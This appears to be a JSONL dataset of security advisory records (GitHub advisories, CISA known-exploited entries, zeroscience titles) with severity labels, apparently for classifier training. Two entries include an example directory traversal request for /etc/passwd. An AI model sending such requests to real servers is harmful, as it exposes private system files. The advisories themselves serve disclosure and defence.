-{"id": "f3a528f4106f3539105c", "text": "Script injection\n\n### Impact\n\nA malicious internal actor can potentially upload documentation content with malicious scripts by embedding the script within an `object` element. This may give access to sensitive data when other users visit that same documentation page.\n\nThe ability to upload malicious content may be limited by internal code review processes, unless the chosen TechDocs deployment method is to use an object store and the actor has access to upload files directly to that store.\n\n### Patches\n\nThe vulnerability is patched in the `0.9.5` release of `@backstage/plugin-techdocs`.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in the [Backstage repository](https://github.com/backstage/backstage)\n* Visit our chat, linked to in [Backstage README](https://github.com/backstage/backstage)", "text_raw": "Script injection\n\n[Severity: MEDIUM]\n\n### Impact\n\nA malicious internal actor can potentially upload documentation content with malicious scripts by embedding the script within an `object` element. This may give access to sensitive data when other users visit that same documentation page.\n\nThe ability to upload malicious content may be limited by internal code review processes, unless the chosen TechDocs deployment method is to use an object store and the actor has access to upload files directly to that store.\n\n### Patches\n\nThe vulnerability is patched in the `0.9.5` release of `@backstage/plugin-techdocs`.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in the [Backstage repository](https://github.com/backstage/backstage)\n* Visit our chat, linked to in [Backstage README](https://github.com/backstage/backstage)\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-04", "split": "train"}
-{"id": "fa144077291e8d94ac18", "text": "Directory Traversal in cyber-js\n\nAffected versions of `cyber-js` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in cyber-js\n\n[Severity: HIGH]\n\nAffected versions of `cyber-js` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-27", "split": "train"}
-{"id": "85a616ed708ea1dbfc4b", "text": "Out of bounds read in simple-slab\n\nAn issue was discovered in the simple-slab crate before 0.3.3 for Rust. index() allows an out-of-bounds read.", "text_raw": "Out of bounds read in simple-slab\n\n[Severity: CRITICAL]\n\nAn issue was discovered in the simple-slab crate before 0.3.3 for Rust. index() allows an out-of-bounds read.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "71c807fe74f222d178c7", "text": "Potential privilege escalation on Kubernetes >= v1.19 when the Argo Sever is run with `--auth-mode=client`\n\n### Impact\n\nThis is pro-active fix. No know exploits exist.\n\nImpacted:\n\n* You're running Kubernetes >= v1.19\n* You're running Argo Server\n* It is configured to with `--auth-mode=client`\n* Is not configured with `--auth-mode=server`\n* You are not running Argo Server in Kubernetes pod. E.g. on bare metal or other VM.\n* You're using client key to authenticate on the server. \n* The server has more permissions that the connecting client's account.\n\nThe client's authentication will be ignored and the server's authentication will be used. This will result in privilege escalation to that of the the server's account.\n\n### Patches\n\nhttps://github.com/argoproj/argo-workflows/pull/6506\n\n### Workarounds\n\nNone.", "text_raw": "Potential privilege escalation on Kubernetes >= v1.19 when the Argo Sever is run with `--auth-mode=client`\n\n[Severity: LOW]\n\n### Impact\n\nThis is pro-active fix. No know exploits exist. \n\nImpacted:\n\n* You're running Kubernetes >= v1.19\n* You're running Argo Server\n* It is configured to with `--auth-mode=client`\n* Is not configured with `--auth-mode=server`\n* You are not running Argo Server in Kubernetes pod. E.g. on bare metal or other VM.\n* You're using client key to authenticate on the server. \n* The server has more permissions that the connecting client's account.\n\nThe client's authentication will be ignored and the server's authentication will be used. This will result in privilege escalation to that of the the server's account.\n\n### Patches\n\nhttps://github.com/argoproj/argo-workflows/pull/6506\n\n### Workarounds\n\nNone.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-08-23", "split": "train"}
-{"id": "0e8dee6415dcc86cd9eb", "text": "Improper Access Control in commons-fileupload\n\nApache Commons FileUpload before 1.3.3 DiskFileItem File Manipulation Remote Code Execution", "text_raw": "Improper Access Control in commons-fileupload\n\n[Severity: CRITICAL]\n\nApache Commons FileUpload before 1.3.3 DiskFileItem File Manipulation Remote Code Execution", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-12-21", "split": "train"}
-{"id": "3c9a0e252981d562a83e", "text": "Directory Traversal in jansenstuffpleasework\n\nAffected versions of `jansenstuffpleasework` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in jansenstuffpleasework\n\n[Severity: HIGH]\n\nAffected versions of `jansenstuffpleasework` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "966effda69617151b5b7", "text": "Mikogo 5.4.1.160608 Local Credentials Disclosure", "text_raw": "Mikogo 5.4.1.160608 Local Credentials Disclosure\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2017-10-23", "split": "train"}
-{"id": "7c964d2613d505362419", "text": "NUUO Backdoor (strong_user.php) Remote Shell Access", "text_raw": "NUUO Backdoor (strong_user.php) Remote Shell Access\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2016-08-06", "split": "train"}
-{"id": "432dd678391d5c747c01", "text": "Cross-site scripting invenio-records\n\n## Cross-Site Scripting (XSS) vulnerability in administration interface\n\n### Impact\nA Cross-Site Scripting (XSS) vulnerability was discovered when rendering JSON for a record in the administration interface. The vulnerability could be exploited by e.g. a user who had access to upload a new record, that an admin user would then later view in the admin interface.\n\n### Patches\nAll supported versions of Invenio-Records have been patched. You should upgrade to either v1.0.1, v1.1.1 or v1.2.2\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [info@inveniosoftware.org](mailto:info@inveniosoftware.org)", "text_raw": "Cross-site scripting invenio-records\n\n[Severity: MEDIUM]\n\n## Cross-Site Scripting (XSS) vulnerability in administration interface\n\n### Impact\nA Cross-Site Scripting (XSS) vulnerability was discovered when rendering JSON for a record in the administration interface. The vulnerability could be exploited by e.g. a user who had access to upload a new record, that an admin user would then later view in the admin interface.\n\n### Patches\nAll supported versions of Invenio-Records have been patched. You should upgrade to either v1.0.1, v1.1.1 or v1.2.2\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [info@inveniosoftware.org](mailto:info@inveniosoftware.org)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-07-16", "split": "train"}
-{"id": "8f963c7788d77cea601c", "text": "SonicWall SMA100 SQL Injection Vulnerability\n\nAffected: SonicWall SMA100\n\nSonicWall SMA100 contains a SQL injection vulnerability allowing an unauthenticated user to gain read-only access to unauthorized resources.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-89\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "SonicWall SMA100 SQL Injection Vulnerability\n\nAffected: SonicWall SMA100\n\nSonicWall SMA100 contains a SQL injection vulnerability allowing an unauthenticated user to gain read-only access to unauthorized resources.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-89\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "b603a908265236a78aa4", "text": "Improper Input Validation in python-dbusmock\n\npython-dbusmock before version 0.15.1 AddTemplate() D-Bus method call or DBusTestCase.spawn_server_template() method could be tricked into executing malicious code if an attacker supplies a .pyc file.", "text_raw": "Improper Input Validation in python-dbusmock\n\n[Severity: HIGH]\n\npython-dbusmock before version 0.15.1 AddTemplate() D-Bus method call or DBusTestCase.spawn_server_template() method could be tricked into executing malicious code if an attacker supplies a .pyc file.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-04-23", "split": "train"}
-{"id": "06fe6aee9eef4365d52a", "text": "eEye Retina WiFi Security Scanner 1.0 (.rws Parsing) Buffer Overflow PoC", "text_raw": "eEye Retina WiFi Security Scanner 1.0 (.rws Parsing) Buffer Overflow PoC\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2009-07-10", "split": "train"}
-{"id": "19ef7753040f06c0d64f", "text": "Action Pack contains database-query restrictions bypass\n\n`actionpack/lib/action_dispatch/http/request.rb` in Ruby on Rails before 2.3.16, 3.0.x before 3.0.13, 3.1.x before 3.1.5, and 3.2.x before 3.2.4 does not properly consider differences in parameter handling between the Active Record component and the Rack interface, which allows remote attackers to bypass intended database-query restrictions and perform NULL checks via a crafted request, as demonstrated by certain `[nil]` values, a related issue to CVE-2012-2694.", "text_raw": "Action Pack contains database-query restrictions bypass\n\n[Severity: MEDIUM]\n\n`actionpack/lib/action_dispatch/http/request.rb` in Ruby on Rails before 2.3.16, 3.0.x before 3.0.13, 3.1.x before 3.1.5, and 3.2.x before 3.2.4 does not properly consider differences in parameter handling between the Active Record component and the Rack interface, which allows remote attackers to bypass intended database-query restrictions and perform NULL checks via a crafted request, as demonstrated by certain `[nil]` values, a related issue to CVE-2012-2694.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "b5e2448f371bbb58c68b", "text": "Unescaped exception messages in error responses in Jetty\n\nIn Eclipse Jetty versions 9.4.21.v20190926, 9.4.22.v20191022, and 9.4.23.v20191118, the generation of default unhandled Error response content (in text/html and text/json Content-Type) does not escape Exception messages in stacktraces included in error output.", "text_raw": "Unescaped exception messages in error responses in Jetty\n\n[Severity: MEDIUM]\n\nIn Eclipse Jetty versions 9.4.21.v20190926, 9.4.22.v20191022, and 9.4.23.v20191118, the generation of default unhandled Error response content (in text/html and text/json Content-Type) does not escape Exception messages in stacktraces included in error output.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-12-02", "split": "train"}
-{"id": "6837124c419640a4fe9e", "text": "crossbeam-channel Undefined Behavior before v0.4.4\n\n### Impact\n\nThe affected version of this crate's the `bounded` channel incorrectly assumes that `Vec::from_iter` has allocated capacity that same as the number of iterator elements. `Vec::from_iter` does not actually guarantee that and may allocate extra memory. The destructor of the `bounded` channel reconstructs `Vec` from the raw pointer based on the incorrect assumes described above. This is unsound and causing deallocation with the incorrect capacity when `Vec::from_iter` has allocated different sizes with the number of iterator elements.\n\n### Patches\n\nThis has been fixed in crossbeam-channel 0.4.4.\n\nWe recommend users to upgrade to 0.4.4.\n\n### References\n\nSee https://github.com/crossbeam-rs/crossbeam/pull/533, https://github.com/crossbeam-rs/crossbeam/issues/539, and https://github.com/RustSec/advisory-db/pull/425 for more details.\n\n### License\n\nThis advisory is in the public domain.", "text_raw": "crossbeam-channel Undefined Behavior before v0.4.4\n\n[Severity: HIGH]\n\n### Impact\n\nThe affected version of this crate's the `bounded` channel incorrectly assumes that `Vec::from_iter` has allocated capacity that same as the number of iterator elements. `Vec::from_iter` does not actually guarantee that and may allocate extra memory. The destructor of the `bounded` channel reconstructs `Vec` from the raw pointer based on the incorrect assumes described above. This is unsound and causing deallocation with the incorrect capacity when `Vec::from_iter` has allocated different sizes with the number of iterator elements.\n\n### Patches\n\nThis has been fixed in crossbeam-channel 0.4.4.\n\nWe recommend users to upgrade to 0.4.4.\n\n### References\n\nSee https://github.com/crossbeam-rs/crossbeam/pull/533, https://github.com/crossbeam-rs/crossbeam/issues/539, and https://github.com/RustSec/advisory-db/pull/425 for more details.\n\n### License\n\nThis advisory is in the public domain.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "4e7677b87872438593ab", "text": "SQL Injection in hive-jdbc\n\nThis vulnerability in Apache Hive JDBC driver 0.7.1 to 2.3.2 allows carefully crafted arguments to be used to bypass the argument escaping/cleanup that JDBC driver does in PreparedStatement implementation.", "text_raw": "SQL Injection in hive-jdbc\n\n[Severity: CRITICAL]\n\nThis vulnerability in Apache Hive JDBC driver 0.7.1 to 2.3.2 allows carefully crafted arguments to be used to bypass the argument escaping/cleanup that JDBC driver does in PreparedStatement implementation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-11-21", "split": "train"}
-{"id": "c886c949bf262c4f4c7a", "text": "Exposure of Sensitive Information to an Unauthorized Actor in LibreNMS\n\nAn issue was discovered in LibreNMS through 1.47. Information disclosure can occur: an attacker can fingerprint the exact code version installed and disclose local file paths.", "text_raw": "Exposure of Sensitive Information to an Unauthorized Actor in LibreNMS\n\n[Severity: MEDIUM]\n\nAn issue was discovered in LibreNMS through 1.47. Information disclosure can occur: an attacker can fingerprint the exact code version installed and disclose local file paths.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-10-11", "split": "train"}
-{"id": "9024a4b4471efdadd93f", "text": "closure-util downloads Resources over HTTP\n\nAffected versions of `closure-util` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `closure-util`.\n\n## Recommendation\n\nTo mitigate this issue:\n1. Install the package using npm's `--ignore-scripts` flag.\n2. Navigate to the package directory, and open `default-config.json` in a text editor\n3. Change the download URLs in the `compiler_url` and `library_url` to `https` equivalents\n4. run `npm i` in the package directory.", "text_raw": "closure-util downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `closure-util` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `closure-util`.\n\n\n## Recommendation\n\nTo mitigate this issue:\n1. Install the package using npm's `--ignore-scripts` flag.\n2. Navigate to the package directory, and open `default-config.json` in a text editor\n3. Change the download URLs in the `compiler_url` and `library_url` to `https` equivalents\n4. run `npm i` in the package directory.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "5f6e2c72d29755b665fe", "text": "Apache HTTP Server-Side Request Forgery (SSRF)\n\nAffected: Apache Apache\n\nA crafted request uri-path can cause mod_proxy to forward the request to an origin server choosen by the remote user. This issue affects Apache HTTP Server 2.4.48 and earlier.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-918\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Apache HTTP Server-Side Request Forgery (SSRF)\n\nAffected: Apache Apache\n\nA crafted request uri-path can cause mod_proxy to forward the request to an origin server choosen by the remote user. This issue affects Apache HTTP Server 2.4.48 and earlier.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-918\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-12-01", "split": "train"}
-{"id": "124e5cb300a5fdfd4cd5", "text": "WEMS BEMS 21.3.1 Undocumented Backdoor Account", "text_raw": "WEMS BEMS 21.3.1 Undocumented Backdoor Account\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2019-12-29", "split": "train"}
-{"id": "2e0115c5fb55bf3b9f7c", "text": "Apache Airflow Cross-site Scripting\n\nIn Apache Airflow < 1.10.12, the `origin` parameter passed to some of the endpoints like `/trigger` and was vulnerable to a XSS exploit.", "text_raw": "Apache Airflow Cross-site Scripting \n\n[Severity: MEDIUM]\n\nIn Apache Airflow < 1.10.12, the `origin` parameter passed to some of the endpoints like `/trigger` and was vulnerable to a XSS exploit.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-18", "split": "train"}
-{"id": "51706f469277f7c2da2c", "text": "SQL Injection in sql\n\nAll versions of `sql` are vulnerable to sql injection as it does not properly escape parameters when building SQL queries.\n\n## Recommendation\n\nNo fix is currently available for this vulnerability. It is our recommendation to not install or use this module until a fix is available.", "text_raw": "SQL Injection in sql\n\n[Severity: MEDIUM]\n\nAll versions of `sql` are vulnerable to sql injection as it does not properly escape parameters when building SQL queries.\n\n\n## Recommendation\n\nNo fix is currently available for this vulnerability. It is our recommendation to not install or use this module until a fix is available.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-06-12", "split": "train"}
-{"id": "504821e4c6a82c544a5e", "text": "Pycrypto generates weak key parameters\n\nlib/Crypto/PublicKey/ElGamal.py in PyCrypto through 2.6.1 generates weak ElGamal key parameters, which allows attackers to obtain sensitive information by reading ciphertext data (i.e., it does not have semantic security in face of a ciphertext-only attack). The Decisional Diffie-Hellman (DDH) assumption does not hold for PyCrypto's ElGamal implementation.", "text_raw": "Pycrypto generates weak key parameters\n\n[Severity: HIGH]\n\nlib/Crypto/PublicKey/ElGamal.py in PyCrypto through 2.6.1 generates weak ElGamal key parameters, which allows attackers to obtain sensitive information by reading ciphertext data (i.e., it does not have semantic security in face of a ciphertext-only attack). The Decisional Diffie-Hellman (DDH) assumption does not hold for PyCrypto's ElGamal implementation.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-12", "split": "train"}
-{"id": "65e049cef7fa175b33ae", "text": "Prototype pollution vulnerability in 'deepref'\n\nPrototype pollution vulnerability in 'deepref' versions 1.1.1 through 1.2.1 allows attacker to cause a denial of service and may lead to remote code execution.", "text_raw": "Prototype pollution vulnerability in 'deepref'\n\n[Severity: CRITICAL]\n\nPrototype pollution vulnerability in 'deepref' versions 1.1.1 through 1.2.1 allows attacker to cause a denial of service and may lead to remote code execution.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "d6708688c74c5c55137a", "text": "Improper neutralization of arguments in freediskspace\n\nThis affects all versions of package freediskspace. The vulnerability arises out of improper neutralization of arguments in line 71 of freediskspace.js.", "text_raw": "Improper neutralization of arguments in freediskspace\n\n[Severity: CRITICAL]\n\nThis affects all versions of package freediskspace. The vulnerability arises out of improper neutralization of arguments in line 71 of freediskspace.js.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "451a739f89b6811b5a9a", "text": "Fasterxml Jackson version Before 2.9.8 contains a CWE-20: Improper Input Validation vulnerability in Jackson-Databind that can result in Causes a denial-of-service (DoS). This attack appear to be exploitable via The victim deserializes malicious input, specifically very large values in the nanoseconds field of a time value. This vulnerability appears to have been fixed in 2.9.8.", "text_raw": "Moderate severity vulnerability that affects com.fasterxml.jackson.datatype:jackson-datatype-jsr353\n\n[Severity: MEDIUM]\n\nFasterxml Jackson version Before 2.9.8 contains a CWE-20: Improper Input Validation vulnerability in Jackson-Databind that can result in Causes a denial-of-service (DoS). This attack appear to be exploitable via The victim deserializes malicious input, specifically very large values in the nanoseconds field of a time value. This vulnerability appears to have been fixed in 2.9.8.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-12-21", "split": "train"}
-{"id": "9959e1ba8becd7cded82", "text": "Google Chromium Portals Use-After-Free Vulnerability\n\nAffected: Google Chromium Portals\n\nGoogle Chromium Portals contains a use-after-free vulnerability that allows a remote attacker, who has compromised the renderer process, to potentially perform a sandbox escape via a crafted HTML page. This vulnerability affects web browsers that utilize Chromium, including Google Chrome and Microsoft Edge.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-416\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Google Chromium Portals Use-After-Free Vulnerability\n\nAffected: Google Chromium Portals\n\nGoogle Chromium Portals contains a use-after-free vulnerability that allows a remote attacker, who has compromised the renderer process, to potentially perform a sandbox escape via a crafted HTML page. This vulnerability affects web browsers that utilize Chromium, including Google Chrome and Microsoft Edge.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-416\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "734a3271a016b59a3c6b", "text": "In version from 3.5.Beta1 to 3.5.3 of Eclipse Vert.x, the OpenAPI XML type validator creates XML parsers without taking appropriate defense against XML attacks. This mechanism is exclusively when the developer uses the Eclipse Vert.x OpenAPI XML type validator to validate a provided schema.", "text_raw": "Moderate severity vulnerability that affects io.vertx:vertx-core\n\n[Severity: MEDIUM]\n\nIn version from 3.5.Beta1 to 3.5.3 of Eclipse Vert.x, the OpenAPI XML type validator creates XML parsers without taking appropriate defense against XML attacks. This mechanism is exclusively when the developer uses the Eclipse Vert.x OpenAPI XML type validator to validate a provided schema.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "4c062d4b7606e5b806e4", "text": "Improper Authentication in Apache ActiveMQ and Apache Artemis\n\nThe optional ActiveMQ LDAP login module can be configured to use anonymous access to the LDAP server. In this case, for Apache ActiveMQ Artemis prior to version 2.16.0 and Apache ActiveMQ prior to versions 5.16.1 and 5.15.14, the anonymous context is used to verify a valid users password in error, resulting in no check on the password.", "text_raw": "Improper Authentication in Apache ActiveMQ and Apache Artemis\n\n[Severity: HIGH]\n\nThe optional ActiveMQ LDAP login module can be configured to use anonymous access to the LDAP server. In this case, for Apache ActiveMQ Artemis prior to version 2.16.0 and Apache ActiveMQ prior to versions 5.16.1 and 5.15.14, the anonymous context is used to verify a valid users password in error, resulting in no check on the password.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-16", "split": "train"}
-{"id": "8810b75ad6b805f759d3", "text": "Exposure of Sensitive Information to an Unauthorized Actor\n\nA document disclosure flaw was found in Elasticsearch versions after 7.6.0 and before 7.11.0 when Document or Field Level Security is used. Get requests do not properly apply security permissions when executing a query against a recently updated document. This affects documents that have been updated and not yet refreshed in the index. This could result in the search disclosing the existence of documents and fields the attacker should not be able to view.", "text_raw": "Exposure of Sensitive Information to an Unauthorized Actor\n\n[Severity: MEDIUM]\n\nA document disclosure flaw was found in Elasticsearch versions after 7.6.0 and before 7.11.0 when Document or Field Level Security is used. Get requests do not properly apply security permissions when executing a query against a recently updated document. This affects documents that have been updated and not yet refreshed in the index. This could result in the search disclosing the existence of documents and fields the attacker should not be able to view.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-18", "split": "train"}
-{"id": "c7afa9375d8c4aadcfa6", "text": "Improper Authentication in Keycloak\n\nThe SAML broker consumer endpoint in Keycloak before version 4.6.0.Final ignores expiration conditions on SAML assertions. An attacker can exploit this vulnerability to perform a replay attack.", "text_raw": "Improper Authentication in Keycloak\n\n[Severity: HIGH]\n\nThe SAML broker consumer endpoint in Keycloak before version 4.6.0.Final ignores expiration conditions on SAML assertions. An attacker can exploit this vulnerability to perform a replay attack.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-12-21", "split": "train"}
-{"id": "5d56f2e9c083128f9b30", "text": "Puppet allows local users to obtain sensitive configuration information\n\n`lib/puppet/defaults.rb` in Puppet 2.7.x before 2.7.18, and Puppet Enterprise before 2.5.2, uses 0644 permissions for `last_run_report.yaml`, which allows local users to obtain sensitive configuration information by leveraging access to the puppet master server to read this file.", "text_raw": "Puppet allows local users to obtain sensitive configuration information\n\n[Severity: LOW]\n\n`lib/puppet/defaults.rb` in Puppet 2.7.x before 2.7.18, and Puppet Enterprise before 2.5.2, uses 0644 permissions for `last_run_report.yaml`, which allows local users to obtain sensitive configuration information by leveraging access to the puppet master server to read this file.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "af30b69bd9c1d1a65f06", "text": "Out-of-bounds Read in OpenCV\n\nOpenCV 4.1.1 has an out-of-bounds read in hal_baseline::v_load in core/hal/intrin_sse.hpp when called from computeSSDMeanNorm in modules/video/src/dis_flow.cpp.", "text_raw": "Out-of-bounds Read in OpenCV\n\n[Severity: MEDIUM]\n\nOpenCV 4.1.1 has an out-of-bounds read in hal_baseline::v_load in core/hal/intrin_sse.hpp when called from computeSSDMeanNorm in modules/video/src/dis_flow.cpp.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "65200ec320b6ce7311c8", "text": "Out-of-bounds write\n\nA remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers, aka 'Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-0884, CVE-2019-0918.", "text_raw": "Out-of-bounds write\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers, aka 'Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-0884, CVE-2019-0918.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "c36073f6fde2f6ce793a", "text": "Path Traversal in Dutchcoders transfer.sh\n\nDutchcoders transfer.sh before 1.2.4 allows Directory Traversal for deleting files.", "text_raw": "Path Traversal in Dutchcoders transfer.sh\n\n[Severity: CRITICAL]\n\nDutchcoders transfer.sh before 1.2.4 allows Directory Traversal for deleting files.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-06-29", "split": "train"}
-{"id": "ec654c5d052c72277622", "text": "Cross-site Scripting in Apache UIMA\n\nThis vulnerability relates to the user's browser processing of DUCC webpage input data.The javascript comprising Apache UIMA DUCC (<= 2.2.2) which runs in the user's browser does not sufficiently filter user supplied inputs, which may result in unintended execution of user supplied javascript code.", "text_raw": "Cross-site Scripting in Apache UIMA\n\n[Severity: MEDIUM]\n\nThis vulnerability relates to the user's browser processing of DUCC webpage input data.The javascript comprising Apache UIMA DUCC (<= 2.2.2) which runs in the user's browser does not sufficiently filter user supplied inputs, which may result in unintended execution of user supplied javascript code.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-05-14", "split": "train"}
-{"id": "deb26fe133564c61a211", "text": "actionpack Improper Input Validation vulnerability\n\nThe template selection functionality in `actionpack/lib/action_view/template/resolver.rb` in Ruby on Rails 3.0.x before 3.0.10 and 3.1.x before 3.1.0.rc6 does not properly handle glob characters, which allows remote attackers to render arbitrary views via a crafted URL, related to a \"filter skipping vulnerability.\"", "text_raw": "actionpack Improper Input Validation vulnerability\n\n[Severity: MEDIUM]\n\nThe template selection functionality in `actionpack/lib/action_view/template/resolver.rb` in Ruby on Rails 3.0.x before 3.0.10 and 3.1.x before 3.1.0.rc6 does not properly handle glob characters, which allows remote attackers to render arbitrary views via a crafted URL, related to a \"filter skipping vulnerability.\"", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "6ec7c32b50e2da50234a", "text": "Improper Verification of Cryptographic Signature in aws-encryption-sdk-cli\n\n### Impact\n\nThis ESDK supports a streaming mode where callers may stream the plaintext of signed messages before the ECDSA signature is validated. In addition to these signatures, the ESDK uses AES-GCM encryption and all plaintext is verified before being released to a caller. There is no impact on the integrity of the ciphertext or decrypted plaintext, however some callers may rely on the the ECDSA signature for non-repudiation. Without validating the ECDSA signature, an actor with trusted KMS permissions to decrypt a message may also be able to encrypt messages. This update introduces a new API for callers who wish to stream only unsigned messages.\n\nFor customers who process ESDK messages from untrusted sources, this update also introduces a new configuration to limit the number of Encrypted Data Keys (EDKs) that the ESDK will attempt to process per message. This configuration provides customers with a way to limit the number of AWS KMS Decrypt API calls that the ESDK will make per message. This setting will reject messages with more EDKs than the configured limit.\n\nFinally, this update adds early rejection of invalid messages with certain invalid combinations of algorithm suite and header data.\n\n### Patches\n\nFixed in versions 1.9 and 2.2. We recommend that all users upgrade to address these issues.\n\nCustomers leveraging the ESDK’s streaming features have several options to protect signature validation. One is to ensure that client code reads to the end of the stream before using released plaintext. With this release, using the new API for streaming and falling back to the non-streaming decrypt API for signed messages prevents using any plaintext from signed data before the signature is validated. See https://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/about-versions.html#version2.2.x\n\nUsers processing ESDK messages from untrusted sources should use the new maximum encrypted data keys parameter. See https://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/about-versions.html#version2.2.x\n\n### Workarounds\n\nNone\n\n### For more information\n\nhttps://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/concepts.html#digital-sigs\n\nhttps://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/about-versions.html#version2.2.x", "text_raw": "Improper Verification of Cryptographic Signature in aws-encryption-sdk-cli\n\n[Severity: MEDIUM]\n\n### Impact\n\nThis advisory addresses several LOW severity issues with streaming signed messages and restricting processing of certain types of invalid messages. \n\nThis ESDK supports a streaming mode where callers may stream the plaintext of signed messages before the ECDSA signature is validated. In addition to these 